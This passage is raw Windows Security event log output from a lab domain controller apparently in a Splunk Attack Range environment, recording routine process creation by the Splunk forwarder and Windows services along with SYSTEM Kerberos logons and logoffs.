destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:55:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254093 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x138c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:55:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254094 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5e8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:55:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254096 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf58 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:55:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254095 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:55:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254097 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8b8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:55:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254098 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5c0 - New Process Name: C:\Windows\System32\wbem\WMIADAP.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: wmiadap.exe /F /T /R - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:55:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254101 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB15C0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:55:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254100 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB15C0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62332 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:55:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254099 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB15C0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:56:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254102 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb3c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:56:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254103 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:56:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254104 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x139c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:56:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254105 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x448 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:56:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254107 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x101c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:56:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254106 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5e8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:56:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254108 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13a0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:56:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254110 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4b0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xf78 - Creator Process Name: C:\Windows\System32\UsoClient.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:56:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254109 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf78 - New Process Name: C:\Windows\System32\UsoClient.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\usoclient.exe StartScan - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254144 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB7578 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254143 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB7578 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62358 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254142 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB7578 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254141 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB74CD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254140 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB74CD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: 